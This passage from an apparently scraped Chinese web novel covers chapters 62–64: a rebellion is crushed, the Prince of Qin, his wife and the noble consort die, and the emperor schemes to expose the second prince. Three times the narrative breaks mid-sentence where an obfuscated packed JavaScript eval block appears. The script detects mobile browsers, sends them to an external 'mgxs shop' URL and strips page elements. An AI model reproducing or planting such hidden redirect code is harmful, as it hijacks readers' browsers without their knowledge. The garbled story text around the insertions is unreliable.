刘茂将手头的弩箭递给刘宁:“阿宁,接下来看你的了。” 62. 秋猎祭祀(十二)十面埋伏 刘宁恍然地接过弩箭,不解地看向刘茂,不知他这是何意,难道真要不顾容娘娘安危,射杀蔡桐吗? 刘茂并不理会刘宁,面向福宁殿的方向,高声道:“蔡桐,本王已按照你的意思,撤下围着福宁殿的军队,你也要信守诺言,不得伤害宫妃与皇子!” 蔡桐仰天大笑,以为自己有了喘息之机,便收起架在容嫔脖颈处的长剑,有些放松了警惕,面上带笑却眼中含恨,道:“你放心。”说罢转身,便与容嫔一前一后,就要回福宁殿。 趁着如此机会,刘宁缓步走至侧面,此处射杀蔡桐,必不会伤及容娘娘。 刘宁平心静气,张弦搭箭,瞄着蔡桐的要害之处,只听得“嗖”的一声,利箭离弦,破风而去,直奔蔡桐。 箭矢破风的声音惊扰了蔡桐,蔡桐警觉回头,拉来容嫔替他挡箭。 眼看着箭就要扎在容嫔身上,刘宁心中紧张不已,这样的结果是她从未曾设想过的。 容嫔被绑着手脚,行动不便,踉跄间摔倒在地,蔡桐顺势低头,这支箭扎在了福宁殿内。 蔡桐被惹恼,拔出长剑。 见此情形,刘宁迅速反应,又飞快射出一箭,这一箭直奔着蔡桐的右眼。 蔡桐躲闪不及,捂着右眼哇哇大叫。眼看刘茂带兵朝着福宁殿冲了过来,蔡桐也顾不上右眼扎的这支箭,连滚带爬地逃回福宁殿内。 容嫔被落在福宁殿外,刘茂见状,忙命人将容嫔接回来,松了绑,取出塞在嘴里的布团,满含歉意道:“容娘娘,方才那一箭,是我鲁莽了,幸而容娘娘无事。” 容嫔惊魂未定,但仍安慰道:“方才是射杀蔡桐的好时机,机不可失,殿下做的没错。” 刘宁在一旁急着问道:“容娘娘,我母妃她可还安好?” 容嫔想起宫人们的议论,垂下眼眸,犹豫再三,刘茂连她都不在乎,若是得知贵妃已被蔡桐吊死,只怕此刻便要破门,那殿内的李美人与八皇子可怎么办? 再者,贵妃被吊死一事,她又不曾亲眼所见,不知是否宫人们以讹传讹,因而只能含糊道:“贵妃姐姐与皇后在一处,我们被转移到福宁殿之时,便再无见过。” 刘茂闻言,暂且舒了口气。如今只要摸清楚母妃被皇后囚于何处,便可平息蔡桐叛乱之祸事。 如今蔡桐中箭,只怕殿内早已经乱了,那些附和着蔡桐起兵造反之人,不过是些庸碌无能之辈。当下群龙无首又尽显颓势之际,只怕过不了多久,便会不攻自破。 不过也要防着蔡桐,若是他拿出破釜沉舟之势,伤及母妃,那就不好了。 宣政门处有暗道能直达福宁殿的偏殿,不如便派些精锐,着宫人服侍,顺着暗道溜上去,里应外合。 才刚派出人顺着暗道去了福宁殿,正要与与打入福宁殿内部的精锐里应外合,便听到有人来报,说是七皇子刘昶派过来的。 刘茂只以为是刘昶肃清京城的喜讯,并未过多理会,只专心盯着福宁殿。 不多时,福宁殿的大门再次打开。 刘茂刘宁二人静静看着,身后的士兵们蓄势待发,只等着秦王一声令下,便冲入福宁殿内活捉蔡桐,这可是千载难逢的机会啊。 蔡桐右眼上捂着纱布,从福宁殿内缓缓走出:“刘茂,你不会以为我中了这一剑你便赢了吧。” “哈哈哈哈哈哈——”想到自己早就将秦王府外面围得是里三层外三层的,蔡桐就狂笑不已。 “有在这里等着的功夫,不如回你的秦王府上看一看吧,哈哈哈,看看你的挚爱,是否还安好。待你登上帝位之时,她是否也能如你所愿登上后位呢!” 刘茂啊刘茂,如今,也该轮着你体会一把失去至亲挚爱的感觉了,哈哈哈哈哈哈哈。 笑着笑着,方才止住血的右眼,渗出不少的鲜血,捂在眼上的纱布也变得红艳。 “哈哈哈——啊——啊——”笑着笑着,蔡桐便捂着眼睛痛苦得叫起来,好痛,真的好痛。 先前每次受伤之时,姑母都会抱着自己,轻声安慰自己的。姑母,桐儿真的好痛啊。 还朝……还朝…… 刘茂闻言,怒得上前一步,从刘宁手中夺过弩箭,瞄着蔡桐的左眼,意欲再射上一箭,将蔡桐的左眼也射穿。 刘宁急得拦住盛怒之下的刘茂:“哥哥,蔡桐已是穷途末路,什么事都做得出来,什么话都说得出来,我们先派人去王府看看嫂嫂吧。” 刘茂这才想起,方才七弟刘昶曾派了人来,这才忙将人唤上来。 来报信之人不敢有丝毫耽搁,忙道:“禀秦王殿下,秦王府外围满了颖州蔡氏的精锐,七殿下不敢轻举妄动,这才派了微臣前来请示。” “你说什么!”刘茂失神地后退一步。 难怪满宫里找遍了都不曾见到颖州蔡氏的人,原来蔡桐竟将人都埋伏在了秦王府! 刘宁忙抵住刘茂的后腰,扶住刘茂,一脸关切道:“哥哥!“ 很快,刘茂便打定主意:“阿宁,你且守在此处,我去去便回。” 刘宁目光坚定地点点头:“好,哥哥放心。定不会让这蔡桐逃脱。” 刘茂不敢有丝毫耽搁,点了几百精锐,匆匆朝着秦王府去了。 刘昶拦住早已方寸大乱的刘茂:“四哥!四嫂还在王府之内,她如今即将临盆,万不可冲动啊!” 刘茂只恨不得将府外这些人杀得个干干净净,只为了还朝的安危,见自己被拦着,急得浑身发抖,眼角呲红,道:“那我现在能怎么办?我该怎么办!” 日上三竿,午时已过,响过一遍号声,围在秦王府外的乱贼们蠢蠢欲动。 刘昶想了想,若武力镇压,只怕这些人会做背水一战,四嫂恐怕危险,如今之际,需得先稳住这群人。 刘昶站出来,冲着这些乱贼们高声道:“逆贼蔡桐,谋反作乱,现已伏诛。” “尔等若不想被株连,即刻放下手中的武器,本宫可饶你们不死!” 刘昶打起感情牌:“想想你们的妻儿老小——” 话音未落,便有人站出来:“别听他胡说,族长说了,若过了午时他还未出宫,便让我们攻破这秦王府,活捉秦王妃!” 他们这些人,都是颖州蔡氏豢养的死士,主子便是他们的天,如今主子都没了,他们这些死士又怎可苟活于世! “都到这个份儿上了,你们以为,现在丢盔卸甲,他们就能放过我们吗?横竖都是一死,不如现在搏一搏!” “若是现在丢盔卸甲,岂不失了我们颖州蔡氏的骨气?” 刘昶冷哼一声:“骨气?你们颖州蔡氏的骨气便是犯上作乱?真是枉费太子殿下的一番心血!” “你们还好意思提太子殿下!若不是秦王蓄意陷害,太子殿下怎会薨逝!我们又怎会到如今这一步!” 新仇旧恨加起来,颖州蔡氏之人倒团结起来。 “活捉秦王妃!活捉秦王妃!活捉秦王妃!” 刘昶的话语,被一浪高过一浪的呼声掩盖,一时间,围着秦王府的乱贼们士气高涨,号声吹起,乱贼们开始行动。 破门的破门,翻墙的翻墙,更有甚者,合力推翻了后院失修的院墙,闯入到秦王府内。 虽说秦王府内有刘茂留下的些许精锐以做抵挡,可如今秦王妃受惊难产,离不开人。 秦王府内的其余众人齐心抵住各个门洞,终究是势单力薄,抵不过门外人数众多。 见此情形,刘茂也顾不得许多,手持长枪,一人一枪,迎着乱贼们杀了进去,只为护妻平安。 刘昶也连忙带人紧随其后。 此时的秦王府内早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“殿下莫怕,即便是我们这些人舍了这条命,也会护殿下周全的。” 还朝拼着一口气,怒道:“杀……杀……杀!” 还朝身边的婢女皆是草原上的骑马挽弓的强壮女子,自是没一个怕的。 叛军进来一人,她们便杀一人,不一会,身上的衣裙被血浸湿,就连手中的兵器,也都卷了刃。 看着杀不尽的叛军,还朝心头一紧:“这么多叛军,莫不是京城已然失守?” 还朝情绪一时激动,竟引发了血崩之症。 产婆声音发颤:“王妃!王妃!” 那尔丹回过头,看着被血浸染的床榻被褥,泣不成声地问产婆:“怎么这么血?怎么回事?” 产婆看着满手的血,连连摇着头:“血崩了……” “怎么会!”那尔丹舍掉短刃,握紧还朝的手:“不会的不会的,公主不会有事的。” 叛军人数众多,仅凭屋内众人,根本无法抵挡,不一会,便死伤多半。 还朝气息微弱,眼珠转向那尔丹:“孩子,就交给你了。等王爷回来……” “公主,别说这样的丧气话,公主一定不会有事的!” 还朝嘴角抽动,本想扯出一抹笑安慰那尔丹,可现如今她只有出气没有进气,连嘴角都没力气再触动。 还朝身旁一倒在地上的婢女奄奄一息道:“那尔丹,你抱着小世子快走吧,这可是公主拼了命生下来的,再晚了可就没时间嘞。” 还朝嘴唇翕动数下,没了力气再发出声音。 那尔丹看着还在誓死抵抗的众人,还有奄奄一息的还朝,又低头看了眼怀中啼哭不已的小孩子,终是痛下决心,从后屋翻窗逃了。 刘茂抵达后院之时,身上早已是多处伤口,可他心中只有一个人,拼了命地赶了过来,可院内堆叠的颖州蔡氏的死士还有胡人打扮的婢女,不由得心头一紧,脚步踉跄,摔倒在层层叠叠的尸体之上。 刘茂挣扎着爬起身:“还朝……还朝……我来了……你别怕……” “你别怕,我一定会……一定会护你周全的。” 63. 秋猎祭祀(十三)叛乱平定 秦王府内外的叛军已被剿灭殆尽。 七皇子刘昶紧跟在秦王刘茂之后,来到后院。想着后院内都是女眷,便止步于院内,并未跟进去。 忽得听到屋内传来一声凄厉的喊叫,刘昶此时也顾不得许多,径直冲了进去。 还没迈进屋内,便闻到了浓重的血腥味。刘昶皱了皱鼻子,岂料刚一进屋内,便被映入眼帘的暗红所震惊。 一杆长枪贯穿刘茂的后背,怀中紧紧相拥的还朝也被这杆长□□穿。 地上、床榻之上,目光所及之处,除了血液便是血液,除了尸体便是尸体。 刘昶周身颤抖,寸步难行,扶着门框才勉强撑住:“四哥!” 屋内死伤,比外头院子里还要惨重数十倍不止。 刘昶抹去脸上的混着血污的泪水,以手中卷刃的长剑支撑着身体,踏过一地的尸体,脚步沉重虚浮地走向刘茂还朝夫妇。 四嫂眼中至死还有诉不尽的遗憾,四哥眼中也满是对四嫂的心疼。 怎么会这样呢?怎么会这样呢? 明明守在外面,叛军怎么就闯了进来呢? 四哥……你我兄弟重逢不过才寥寥数月…… 四哥,我还等着你敕封我为大将军…… 京中叛乱,缘由皆在蔡桐,皆在颖州蔡氏。想到皇宫中挟持宫妃皇子与他们对峙的蔡桐,刘昶心中便恨不得将他千刀万剐。 刘昶颤抖的手覆盖在二人眼上,为刘茂还朝夫妇二人合上眼眸,取来刘茂的长枪,眼神坚定。 四哥,既然你不能手刃逆贼,便让我来用你的这杆长枪,亲手了结了他吧,你在天之灵,可看好了。 待刘昶单枪匹马冲回宫内,只见福宁殿宫门大开,羽林军与宫中禁卫皆列阵在旁,唯独不见宁乐公主刘宁。 刘昶心头一紧,还不知自他走后,宫里又发生了什么。 刘昶迈进福宁殿的大门,只见正殿之上,蔡桐倒在高座的台阶之下,胸前的还插着一只金钗,金钗没入胸口。 一众宫人们围成人墙,赤手空拳地挡在台阶之上,护着高座之上的人,见有人来,纷纷抬起猩红的双眼看去。 刘昶抬头看去,李美人抱着八皇子刘绥,正周身战栗地看着阶下早已死去多时的蔡桐:“李娘娘。” 刘绥抬起沉重的眼皮,看到来人是刘昶,叫了声:“七哥,你来了。” 李美人见是刘昶来了,如释重负。 方才的一幕犹如还在梦中,蔡桐高高举起剑,明晃晃的剑光朝着怀中的绥儿刺过来,就连李美人她自己,也不敢相信向来胆小的自己,竟然一钗刺死了蔡桐。 周边的宫人们本就是被蔡桐胁迫,见蔡桐已死,纷纷起身反抗。 叛军的精锐多在围困秦王府,福宁殿留守的叛军人数不多,如今殿外平叛的大军就在外面,再加上蔡桐已死,自然是军心涣散,溃不成军,已然没了斗志。 李美人命人打开殿门,迎刘宁进殿。 至此,叛乱消。 李美人放下怀中的刘绥,从龙椅上起身,双眼空洞,迈下一层台阶:“七殿下,叛军——”话未完,第二脚踩空。 刘绥哭喊道:“母妃!” 宫人们忙接住从台阶上翻滚下来的李美人。 刘昶忙道:“传御医!传御医!” 随即又下令道:“清理叛军!清扫宫室!” 刘昶盯着蔡桐的尸体,又看了眼手中的长枪,心中五味杂陈。 “宁乐公主呢?”刘昶双手抓住一个小宫人肩膀,问道。 “殿下在偏殿。” 刘昶放下小宫人,大步流星朝着偏殿赶去。 远远的,便看到刘宁瘫坐在偏殿门槛处。 刘昶小跑过去,轻轻拍了拍刘宁的肩膀,刘宁僵硬地回过头,见是刘昶来了,苦笑一声。 刘昶顺着刘宁的目光看去,一双悬于空中的鞋子映入眼帘,抬头望去,三尺白绫悬于房梁上之人,正是刘宁的生母贵妃。 刘昶蹲下身,低下头,抬起的手悬于刘宁肩上,迟迟未落下,不知该如何开口。 “母妃,母妃——” “七弟,我母妃她不在了。” 刘昶抱过刘宁,抬手为刘宁抹去眼泪,可刘宁泪早已流干。 “七弟,我哥哥嫂嫂呢,他们怎么样了” 刘昶看了眼脸色惨白的刘宁,欲言又止。 贵妃不在,四哥四嫂也不在了,五姐她可能否承受得住? 刘宁迟迟未等到刘昶的话,转而是刘昶的一声叹息,不由得苦哼了一声。 她与刘茂是一母同胞的龙凤胎,怎会察觉不到异样?哥哥咽气之时,她又怎会一点感应都没有?方才还感觉到一阵阵的心悸,便已知不妙,原以为因为母妃的缘故,不曾想竟与哥哥有关。 他们可是同胞的兄妹啊! 她怎会感知不到?她怎会感知不到! 方才已流干的眼泪,又涌了出来:“哥哥怎么了,你说,我承受得住,承受得住。” 刘昶轻声道了声:“他们……很好。” 刘宁怔怔地看着刘昶,见他脸上还带着悲戚之色,若是哥哥嫂嫂们很好,七弟便不会迟疑这么久,怔怔得看了几个呼吸,顿觉胃里一阵翻腾,干呕不已,恨不得将五脏六腑都吐出来。 刘昶心痛地看着刘宁:“五姐!” 刘宁扶着门框,挣扎着起身:“我要去找哥哥,我要去找嫂嫂!” 还没走几步,便直直朝着面前倒去。 “阿宁!”刘昶一把托住刘宁,满眼心疼与不忍。 刘宁推开刘昶,身形摇晃,一心朝着秦王府的方向。 “我带你去。” 二人骑上马,扬鞭疾驰,直奔秦王府。抵达秦王府下马之时,刘宁径直从马上翻滚下来,险些被马蹄踩伤。 秦王府前厅,摆着两具盖上了白布的尸体。 刘宁倚靠在刘昶身上,迟迟未敢将这两张白布掀起,不敢再看他们一眼。 “母妃,哥哥嫂嫂,你们怎么独独抛下我了呢?你们好狠心啊!” “母妃,你还说要为我择一好夫婿,还说等我成亲之时要亲手为我绣一顶红盖头,还说要亲自为我筹备嫁妆呢。” “哥哥,你不是说指导我的箭术吗?” “嫂嫂,先前那个荷包还没绣完呢,射箭比赛还没举行呢,我还没向你讨个好彩头呢。” “你们怎么独独就抛下我,怎么独独就留下我了呢?” “你们怎么能说话不算数呢?” 刘宁与刘茂一母同胞,自八岁分别起,一别数十年,原以为刘茂回京之后从此便不会再分离。 没想到从此竟天人两隔。 明明……明明方才还在她身边……怎么一晃眼,就再也见不到了呢? 刘宁趴在刘昶胸口,哭得上气不接下气,倚靠在刘昶的肩膀上,哭得几度昏厥。 刘昶心疼不已:“阿宁,我在呢,我会一直在你身旁,我会一直保护你的。我会像四哥一样,保护你的。” 忽然,刘宁见这两具尸体上的白布平坦,没什么起伏,嫂嫂即将临盆,腹中怎会如此平坦…… 一时慌了神,惊慌失措问道:“孩子呢?孩子呢?” “哥哥嫂嫂的孩子呢?” “七弟,你见到了吗?” 刘宁急得不行:“孩子没了,孩子没了!” 那可是哥哥嫂嫂唯一的骨血,是哥哥嫂嫂留在这世间唯一的念想,她一定要找到一定要找到! 刘昶安抚道:“阿宁,你不要着急。我派人去找,我派人去找。” “你放心,一定会找到的,一定会的!” 搜遍了秦王府的每一寸土地,孩子是找到了,可最终只寻得一具婴儿的尸身,一具死状奇惨的尸身。 刘昶闭上眼,颤抖着双手将白布盖好,不忍直视,更不忍让刘宁看见。 如今贵妃、四哥、四嫂都不在了,这孩子便是阿宁唯一的念想,若是她看到这孩子的样子,阿宁她……她怎么能承受得住? 刘昶忧心刘宁,便将此事隐了下去,并向刘宁提及。 眼下刘宁满心满眼里都是哥哥嫂嫂的孩子,过不了一会儿便回问道:“孩子找到了吗?” 刘昶见此情形,只得扯了个谎:“府里都搜遍了,没找到。许是……许是四嫂殚精竭虑,已将孩子平安送出去了吧。” 刘宁浑身发抖,强压着心头如山般崩塌而来的悲戚之情:“那得好好找找,得好好找找……好好找找……” 刘昶忍着泪,吸了吸鼻子,声音颤抖着,还带了些哽咽:“人已经派出去了,一定……一定会好好找的。” “好……好……七弟,一定要好好找,一定要找到哥哥嫂嫂的孩子……” “六弟,六弟!”刘宁想到六皇子刘赞在京中开有许多商铺,一定能打探到很多消息的,“六弟一定有办法,他一定能找到孩子的!” 原本平定叛乱,颖州蔡氏倒台,刘茂登上储君是板上钉钉的事,可谁知蔡桐竟……竟与他们鱼死网破。 原本此时,该是他们兄妹二人庆功之时,原本此时,该是他们兄妹二人最得意之时,不曾想,到头来,只剩刘宁一人,苟活于世。 大喜大悲之下,刘宁再也撑不住,刘宁的天塌了,重重的压在她身上,压得她喘不上来气,压得她不知道今后该怎么活。 刘宁跑了几步,也不过是才跑了数步,便昏倒在地。 自叛乱平定后,六皇子刘赞便通知了听音坊,听音坊又联络京城中各个商铺。这些商铺表面上是商铺,实则却是情报驿站,就此运作起来。 沈韵从坊中姐妹那里得知秦王府一战死伤惨烈,不敢相信前几日还在她眼前的秦王妃会战死,不信府内布防着秦王精锐的秦王府会被突破,更不信秦王与秦王妃皆战死。 嘴里不敢相信的喃喃道:“秦王出生时,天空异象,祥瑞现世,圣君之兆,他怎么会……怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274260|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会……” “你可打探清楚了?” “千真万确,错不了。” 沈韵跌跌撞撞跑出听音坊:“我要去看看,我要亲眼去看看。” 坊里的姐妹担心沈韵,也跟上了两三个,一行人便来到秦王府外观望。 秦王府外有驻城军在,看守森严,她们只能远远地看着。 沈韵想到她先前从后门逃了出来,便忙调转方向,待赶到后门之时,看到被推到坍塌的院墙,惊得捂住了嘴。 竟然是从这里……叛军竟然是从这里进去的…… 眼看着沈韵就要哭出声,周边的姐妹们怕招来驻城军,忙捂住她的嘴,含泪摇头示意。 哭声抑制在喉间,被咽回肚子里,只余下两行清泪。 几人搀着站不稳的沈韵,无意间,撞到一个十一二岁,一步一摇晃的小孩。 那小孩身着胡人服饰,周身的服饰都被暗红色的血浸染,已经看不出衣服原本的颜色,怀里还抱着一个沾着血污的包裹,她抱那包裹的样子,如同抱着小婴儿一样小心呵护着。 沈韵定睛一看,这不正是王妃身边的那尔丹吗?她在王妃身边见过的,沈韵挣脱搀扶,忙跑着迎过去。 那尔丹眼皮闪了一下,僵直倒了下去,临倒地前,将怀里的包裹高高举起,生怕自己会压到。 听音坊的诸位女子忙找来板车,将那尔丹并那个包裹拖上板车,带回了听音坊。 那尔丹昏迷之中,还不忘还朝的叮嘱,嘴里喃喃道:“孩子!孩子!” 众人也以为包裹里是还朝的孩子,忙打开包裹准备照料,岂料掀开包裹的一角,便吓得连连后退。 沈韵看过去,也是惊得捂住了嘴,那包裹里放的哪里是个婴儿,分明是一截手臂! 众人面面相觑,若是想知道这包裹是怎么回事,想来只能等那尔丹醒来。 那尔丹昏迷数日才醒,刚一睁开眼,见还朝公主托付给她的孩子不见了,又见床边还趴着一人,便拔下那人发簪,抵着那人的脖子,眼神凶狠道:“你是谁?这是哪儿?我怀里的孩子呢?” 沈韵见此情形,忙道:“那尔丹,是我。” 那尔丹如鹰般锐利的眼神扫过去,见是沈韵,这才放下手中不甚尖锐的发簪,脸上神情也有了些松动:“沈姑娘?” 沈韵点点头道:“这里是听音坊,我与坊里的姐妹在王府外找到了,见你浑身是血,便将你带了回来。” 那尔丹问道:“那我怀里的孩子呢?” 那尔丹瞥见曾包着孩子的襁褓摆在桌上,全然不顾身上的多处伤痛,跳下床,捧着那块襁褓,发狂问道:“孩子呢!” 沈韵与听音坊的姐妹见那尔丹年幼,不忍将真相告诉她,犹豫不决,可又见她发狂的模样,知道终究瞒不过她,还是说了。 “我们见着你的时候,襁褓之中并无什么孩子。” “有的只不过是……一截断掉的手臂……” 那尔丹这才想起,她从秦王府逃出来之时,成群的叛军将她团团围住,她将孩子绑在自己胸前,凭着手中的一柄短刃,与他们厮杀,寡不敌众,自己被他们摔在墙上,幸好孩子在胸前,有自己垫着。 可当她再醒来之时,怀里的孩子就不见了,有的只是一个空襁褓,有的只是满地的尸体。 那尔丹一一辨认,认出了是方才将她围住的叛军。 血、泪模糊了她的眼,她在地上摸索着,摸索着,最后摸到了孩子,便将孩子放在了襁褓中。 秦王府已然被叛军攻破,已经不安全了,她要逃,逃到一个安全的地方,她要将公主的孩子抚养长大。 只是没想到,自己放在襁褓之中的竟然不是孩子。 那尔丹自责不已:“都怪我,都怪我,没看好公主的孩子,都怪我……” 沈韵忙抱住她,安慰道:“好孩子,这不怪你。叛军是我们谁都不能左右的,你且好生养着吧。” 那尔丹眼泪汪汪,声音哽咽抽搐:“我生为公主的贴身仆从,小时候被人打骂不当人,是公主救了我,可我却没能完成公主临死前交代的事情,我怎能苟且偷生?” “那尔丹,王妃……她是希望你……希望你能活下来,你得好好活着,好好替她活下去,带着她的期盼活下去才是。” “好孩子,活下去,好吗?” 待哄好那尔丹之后,已然是深夜,猛然间,沈韵听得“咚”的一声,房门被踹开,紧接着又是“轰”的一声,似是重物倒在地上。 沈韵忙走过去看,才发现是喝得烂醉如泥的刘宁。见刘宁嘴唇翕动,似是在说什么,凑近一听,忍不住淌出泪来: “母妃,嫂嫂即将临盆,我得照顾好她,今夜便不回宫了……” “哥哥嫂嫂,等孩子生下来,我可要和你们好好比试一下呢,再叫上温国公府的嘉诚姐姐……” “嫂嫂,你送我的那匹汗血宝马脾气好烈啊!不过还好我骑术高超,奈何不了我……” 64. 秋猎祭祀(十四)苦心孤诣 颖州蔡氏作乱一事,搅得整个京城不安,搅得整座皇宫不宁。不过,也顺势让承道帝除掉了心头之患。 颖州蔡氏谋逆叛乱,原本该诛九族,承道帝到底心中还顾念着太子,顾念着他与皇后多年的夫妻情谊,并未诛其九族,只是将蔡氏男子处死,蔡氏未及笄之女子充作罪奴囚禁于掖庭。 而汀州张氏,本可倚仗的贵妃与秦王刘茂皆在这场叛乱之中丧生,就此一蹶不振。 世家大族之中,数颖州蔡氏与汀州张氏风头最盛,经此一事,悉数尽除,无人再能左右承道帝的皇权。 借着颖州蔡氏谋逆叛乱一事,承道帝收回各个世家的手中蓄养兵士死士的权力,朝堂之上也裁撤了不少世家之人的职位,为科举考上来的官员腾出了不少位置,一片政治清明之象。 就此,承道帝与世家大族之间几十年的争斗也落下帷幕。 虽说承道帝多年心愿已结,可每每想起刘昶描述的京中如同炼狱一般的惨状,不觉一阵悲婉叹息。 权力斗争之残酷,夺嫡之争更甚。 眼下诸位皇子之中,长子英王倒是一身才学,只是身子不大行,难堪大任。余下的六七二子,心思全然不在皇位之上,倒是两个治国辅政之才。唯余八皇子刘绥,虽年幼,可也胜在其年幼,是块未经雕琢的璞玉,是个可塑之才。 自太子薨逝之后,承道帝便已早早做了此打算。 当初启盛帝兄猝然离世,承道帝刘适本是偏安一隅的信王,仓促登基,这些年来走过的艰辛,只有他自己知道。而幼子一旦即位,面临的艰辛只怕不会少。 许是年纪大了,抑或是最寄予厚望的两位皇子相继与他长辞,承道帝如今对着年幼的刘绥,少了许多君臣之念,倒是多了不少慈父之心。更是为着刘绥日后能顺利即位,不惜放纵蔡桐作乱,不惜纵容京城不安。 如此苦心孤诣,只在为新帝铺路。 只是近来局势不稳,承道帝虽有心培养,也只怕时日无多,若自己也同启盛帝兄一样猝然离世,那可该如何是好? 况且如今还另有两个隐患——二皇子刘仲,栾南诚王。 诚王倒还好说,他若起兵夺位,朝野上下无人信服,可若是刘仲,他身为皇子,比刘绥年长,笼络人心倒是有一套,纵容这样的人留在朝中,便是幼帝的威胁,犹如今日的诚王与他。 可如今已连失两子,若再下令处死刘仲,岂不是让天下之人非议?日后史家又该如何评说他? 承道帝长叹一声,既然不能由自己下令,那便化攻为守,以守代攻,让他自己反。 为着这个,承道帝不惜以身犯险,重新提拔吴忠义贴身伺候,给他无上荣耀,就连能调动宫中禁卫的兵符,都摆在了明面之上。 若刘仲毫无异心,那便也罢了,可若他有异心,就别怪他这个做父亲的心狠了。 他在等,在等着刘仲露出马脚,好让那些背后支持刘仲的朝臣们闭嘴,好让刘安能够顺利辅佐政务,好让刘绥能够坐稳江山。 吴善辅又被承道帝所冷落,一时间有些摸不着头脑,自己伺候陛下几十年,怎么如今连陛下心中在想什么也揣测不到。当今陛下到底在想什么?吴忠义,他乃无忠无义之辈,怎可又留他在身旁伺候? 刘安亦是如此想,可每每想提醒承道帝,都被承道帝有意忽略,无奈之下,只得暗自多心留意。 才刚亲眼看着吴忠义慌慌张张地出了宫,刘安手上又结结实实抓住吴忠义偷溜出宫数次的证据,如此方才敢来至承道帝面前:“父皇,儿臣方才看见吴内官出宫去了,本不想理会,可他近来行事鬼祟,儿臣便不得不多留心。可是父皇派他出宫的?” 承道帝嘴角勾起,冷哼一声,终于,还是忍不住了是吗? 承道帝头也不抬道:“不必理会。忠义行事周全,心思细腻,想来不会有越矩之举动。” “父皇!”刘安担心承道帝被迷惑,还欲说些什么,抬眼看到承道帝身旁的吴善辅冲她摇头示意,这才止住不语。 承道帝不甚在意,随口问道:“近来绥儿的功课如何了?” 刘安道:“大有长进,可到底年幼。” 承道帝闻言,放下笔,叹了口气。稚子年幼,更需得为他一一扫清障碍才是:“你做大姐姐的,也得多在一旁辅佐照顾他是。” 刘安看了眼承道帝,点点头:“这是自然。” “去吧。”承道帝摆摆手,眼中现出难以掩饰的疲惫之色。 刘安依令退下。 承道帝又一声:“茶凉了。” 吴善辅忙将茶端下去,才出了殿,便被一旁等候了有一会儿的刘安叫住。 刘安眉眼之间难掩愁色,问道:“吴总管,你在父皇身边侍奉多年,可知父皇如今是怎么了吗?怎么行事越来越没有章法了?” 吴善辅看了眼四周,目光所及之处,宫人们纷纷垂头。 吴善辅将刘安拉至一旁,摇头叹息,低声道:“自从万安山回来之后,陛下就像变了个人一样,不单将吴忠义重新提拔至身边,还对他多有纵容。当初吴忠义可是伙同二皇子以巫蛊之术陷害太子啊!陛下难道都忘了吗?” “也不知是不是陛下心中早有了——” 因涉及立储一事,吴善辅意识到自己失言,赶忙打住,推辞道:“殿下,老奴还要去为陛下添茶。” 刘安眉头紧锁,摆摆手,随他去了,可心中却久久不能平静,难道父皇竟要立他为储吗? 可刘仲此人,戕害兄弟,心思阴狠,如此之人,怎能登基? 人都说,老来昏聩,难道父皇老了吗? 刘安回头望向福宁殿,殿堂之高,宫室之多,父皇就居于这层层叠叠的砖挖梁柱之后,一眼看不穿。 刘安转头,终究是一声长叹,父皇想立谁为储君,又不是她所能左右的,自己如今思来想去,不过是徒增烦恼罢了。 待书房内仅剩承道帝一人之时,承道帝缓缓起身,最终还是打开放置兵符的盒子,里面空空如也。 承道帝捧着手中的盒子,久久未能回神。一时间,竟不知该为自己的谋划有所欣喜,欣喜自己料事如神,一切尽在自己的掌握之中;还是该为儿子的决断感到悲哀,悲哀这父慈子孝之象只是一场泡影。 承道帝失神地合上盒子,忽而眼前一阵晕眩,盒子被甩了出去,双手攀着桌子,才勉强撑住没倒下去。 自太子去后,身体每况愈下,还不知能见多少日月,不能再等了。 承道帝当即传来七皇子刘昶,命其带领着护城军,藏于早已封禁的东宫之内,静待时机。 与此同时,吴忠义马不停蹄地赶到户部尚书程显的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274261|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府上。 户部尚书程显,户部左右侍郎黄崇安、林英,礼部尚书周述、谏议大夫裴纶、谏议大夫袁正等人正在焦急等待,见吴忠义终于赶到,皆是松了一口气。 吴忠义舌头断了半截,呜咽不清地说着,见几人一副不明所以的样子,忙将兵符递上。 程显握紧兵符,眼神坚定,如此,便可将他推上那至高无上之位了。 “出发。” 周述与袁正、裴纶二人对视一眼,并未迈出这一步。 周述犹豫道:“程兄,我……我家里还有妻儿老小,我……我不敢。” 袁正裴纶二人未语。 程显并未看留在原地的三人,只是冷哼一声:“既然这么怕,今日你们三人缘何来此?” “既然这么怕,便回去吧。” 说罢,程显撇下周述三人,带着黄崇安、林英及吴忠义,几人去了二皇子府上。 虽说二皇子被监禁于此,可这里人烟罕至,就连看守的侍卫也不大上心。 几人稍加贿赂,便顺利见到了二皇子刘仲。 程显捧着兵符,带头跪下:“殿下,时候到了。” 连日的囚禁,刘仲目光有些呆滞,盯着程显手中的兵符,怔怔出神。 程显急道:“陛下迟迟不立储君,就连九九承天祭祀大殿,也未曾指定皇子代祭,纵观几位皇子,除了殿下,谁人能担此大任?” “若说平叛之前,或许还有秦王殿下可担大任,可如今……” 程显顿了顿:“还请殿下三思,立下决断。” 刘仲嗤笑一声:“你……你让我造父皇的反?你让儿子造父亲的反?” 